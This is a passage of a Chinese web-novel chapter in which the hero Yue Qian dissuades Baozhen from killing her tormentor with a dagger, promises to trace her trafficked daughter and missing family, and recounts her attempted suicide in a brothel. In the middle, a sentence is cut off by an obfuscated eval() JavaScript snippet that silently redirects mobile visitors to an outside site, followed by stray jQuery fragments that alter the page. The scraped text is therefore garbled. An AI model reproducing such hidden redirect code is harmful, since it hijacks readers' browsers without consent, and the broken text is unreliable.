宝珍上前取了匕首，手止不住地抖了起来。


    这柄匕首只有她一个巴掌长，制得十分小巧，拔出来时却是冷光四溢，是一把难得的宝刃。


    清亮如水的刃面映着宝珍的红眼睛，她不由得打了一个寒噤，喃喃地道：“多……多谢公子。”


    说着转身要走。


    越潜沉声道：“这匕首虽然锋利，可若是一下刺不中要害，却也是难办得很。你瞧那人虽然睡着，可若是吃痛醒转了，与你挣扎撕扯起来，你又如何应对？”


    宝珍咬牙道：“我……我便再杀他几刀。”


    越潜定定地看向宝珍的眼睛，叹道：“珍姑娘，我知你报仇心切，可我猜，你恐怕连一只鸡也没亲手杀过罢？如今要你去手刃一个大活人，即便他恶贯满盈、罪有应得，只怕也并不是那样好下手的。”


    宝珍死死咬着下唇，两手只管握着那柄匕首，眼神却浮动着、有些仓惶。


    越潜走过来，从她手中抽回匕首，仍旧放回靴筒中，道：“你杀了他，便也背上了一条人命。珍姑娘，你是个好人，何苦为了这样一个猪狗不如的东西脏了自己的手？况且，死了他一个首恶，固然大快人心，但外面那一群替他鞍前马后的蛇鼠之众却仍是逍遥法外。珍姑娘，你若是信得过我，今日便饶他一命，此仇容后再报。”


    宝珍心中一凛，是啊，外头这个人虽是主使、是恶首，自己拼上一条性命不要，或者可以以命换命，将他拖下黄泉路去。可刚才的那群坏人，他们布下圈套、设计陷害，害得自己一家人好苦，是无论如何也不能饶过的。可他们已经走了出去，也不知落脚何处，自己若是死了，又怎么找他们算账呢？


    她低头看着自己空空的双手。


    她很小的时候随着大人逃难，吃尽了苦头，可能是因为年龄小的缘故，她却觉得不算什么，如今前后遭逢这样的事，她才生平第一次觉得自己是这样的渺小无力。


    想到枉死的老父、下落不明的丈夫、不知身陷何处的孩儿，还有那一把年纪、还要跟着伤心害怕的婆母，宝珍心中凄苦，忍不住又滴下泪来。


    宝珍双膝一弯，向着越潜跪下道：“公子是仙人托生、金口玉言，说出来的话想必一定是不错的。我是低贱之人，不懂什么道理，也无人依靠，要想报仇，单凭自己无论如何也是不成的，若是……若是能得公子助力，让那些害我一家人的恶人伏法，我这一条贱命便是公子的，但凭公子使唤。我的福气薄，若是今生报不完您的大恩大德，我死了就变乌龟、变玉蟾，给公子驮碑、镇宅，给公子添福添寿。”


    少妇说完，便伏地“砰砰砰砰”磕头不止。


    越潜伸手搀她，见少妇态度坚决，执意不肯起身，便不再强求，只是将身子让到一边，避开不受她的礼。


    他从旁边桌上将刚才少妇拿着的铁漏斗放在手中敲了敲，心里将这件事默默想着。


    这个造型奇特的东西尾部有一根长长的细管，不知是什么材质，只有一截露在外面，其余还有不知多长的部分，皆是埋在地下，一路延展，一直连通到水厅席上一个不可移动的广口铁花瓶底下。


    那花瓶里四时皆有时令的鲜花插瓶，日日更换，可任谁也不曾想到原来它竟是一个传声装置。


    越潜的修长手指拂过细管，将铁漏斗向少妇晃了晃，道：“你要报仇，这是极应该的，刚才那些人的说话你也听得真切，若是任他们逍遥享乐，这世上就没有公道天理了。左右我在这里也是无事，便助你一程又有何妨？就像我方才说的，咱们从长计议、徐徐图之，不会冤枉了他们，更不能放走了一个。”


    少妇听见他答应了，大喜抬头，跟着又“砰砰砰砰”地接连磕起头来。


    与方才的悲愤求告不同，这次乃是诚心致谢。


    越潜伸手向前虚扶，叹道：“你只依我一件事也罢了——别动不动便磕头。你们这些人就同那上了机关的‘磕头虫’一般，一逮到机会便停不下来。你瞧，我也实在没有多少年纪，哪里受得起这个，别说‘添福添寿’了，有多少福气也生生叫你们折了去。另外，你也别再叫自己‘民妇’，我与你是一样的老百姓，你再这样说，我就只好也叫自己‘草民’了。”


    少妇听见他这样说，最后端端正正磕下一个头，跟着便站起来。她心里有了些底，眼神便不再懦弱躲闪，多了一丝坚定。


    她将悲愤暂时搁置，心里沉静下来，也有些惭愧。


    外头那人应当是个有权有势的大人物，自己若是真的冲动去同他拼命，不论是杀死或是杀伤，公子这个地方总是脱不开干系的，到时引来官兵，岂不是连累了恩人？


    她又想起下落不明的女儿。刚才听到说女儿被什么做官的买去做了小妾，心中不由得大急，金儿才有多大，如何能嫁人，如何又能受那半老头子的欺侮？


    女儿从降生起从未离开过自己身边，如今她一个人在外面，想来一定是怕极了，这可怎么办、这可怎么办？


    想到这里，宝珍的眉心连着爱女之心，一起都紧紧地拧着。


    越潜看她面色凝重，便知她是担心女儿，宽慰道：“你且宽宽心，自从听你说了遭遇，我就派了人出去，在你说的那家妓馆的附近细细查访着。‘雁过留痕、风过留声’，凭他们怎样小心，也总会有些线索。咱们刚才也听见了那孩子的去向，等会我就再点几个人，让他们召集那些机灵的花子、乞儿，让他们把城里有些头脸的官邸都盯着，专看有无新近买人、娶妾的。另外还有一拨人正在城内外寻你的夫家，你丈夫同你婆婆两个，一个一个重伤初愈、一个年纪老迈，想来并无可能无声无息地就遁地千里、不见了影踪，不管是主动避祸，或是被人逼迫，只要咱们细细去访，总能知道一二消息。”


    宝珍听越潜这一番话，明白他已将事事都想在了前面，安排得十分周到，不由得感激涕零。


    她两膝一弯、便想磕头，却陡然想起公子适才说不要总磕头，这么简单的一桩事，自己怎么又忘了？


    宝珍忙硬生生忍住，两膝僵在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440479|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    半途，姿势有些怪异。


    一抬头，正好对上越潜有些好笑的目光，她也不禁一笑，这一程子以来如同负着千斤重担的心里终于轻松了几分。


    宝珍站直身子，认认真真地向越潜福了一福，道：“这事本来与公子无关，公子是为了‘公义’救了我，如今又要费神费力、替我一家老小奔波。论理，这本来是我一家的事，不能说因为公子愿意出头，我便托称自己力薄、便丢开手去。我也要做些事才是，哪怕是给公子的手下人做饭、洗衣裳、收拾屋子，总也是出了我的一分力气。”


    越潜看宝珍意思坚决，且又想着她若能让自己忙起来，也多少可以减轻些心里的负担，这是好事，便伸手去将墙上的一根细绳扯了扯。


    绳子那一端连着机关消息，很快便有一个扎着宝蓝色头巾的美貌少女依令走了进来，看看越潜，又好奇地看了看宝珍。


    越潜略微有些意外，问道：“怎么是你，子萱呢？”旋即无奈道：“她还没消气？”


    少女唇边漾起一丝调皮的笑意，眨了眨眼睛，似乎在说：“人家为什么生气，你自己该知道呀。”


    越潜脸上微微一红，叹道：“真拿她没办法。罢了，前面几日多亏你照顾宝珍姑娘，如今她要在咱们这里暂住一阵子，往后她就跟着你，你平日要做什么事，便带着她一起罢，烦劳你好生照应她。”


    那扎头巾的女孩儿叫作“秀卿”，闻言一笑，道：“好呀，我正想一个伴儿呢。”说着便上前挽住宝珍的手，唤一声“珍姐姐”，跟着就拉着她亲亲热热地出去了。


    ---


    宝珍实在是个可怜人，也实在是命不该绝。


    她错信了一起长大的店伙，签下了高利贷的借契，被那伙强人从家里掳走，本来不知道是要上哪里去，待得明白自己是进了妓馆，直将她吓得心胆俱裂。


    宝珍实在不明白，究竟为什么好好的日子会突然断绝，自己本分老实的一家人会骤然落到如此境地。


    待她向所有人苦苦哀求、拼命挣扎也不能离开，甚至还挨了一顿好打时，她呆呆地望着墙，满心里就只剩了一个“死”字。


    宝珍虽然没有上过一天学，却也明白“失节事大”的道理。


    虽然这个时代的女性绝大部分都不明白到底为什么“失节事大”，到底“大”在哪里，为什么为了这个“节”，连自己的一条命也可以不要。


    但她们始终坚决地、全心全意地信服、遵守和维护着这一由男人制定的、至高无上的法则。


    听见鸨母跟人商量自己哪一日挂牌的事情，宝珍万念俱灰，就在怨愤交加中一横心上了吊。


    当时她似乎是气绝了，其实胸口中却还闷着一口气。


    也许是气急攻心，也许是命不该绝，总之不知怎的竟阴差阳错地造成了一个假死的状态。


    也幸好妓馆的人还惦记着有这一个新来的、倔脾气的姑娘，虽然中间懈怠了一会子，这才让她觑了空子，可再来看视时，到底没有间隔太久。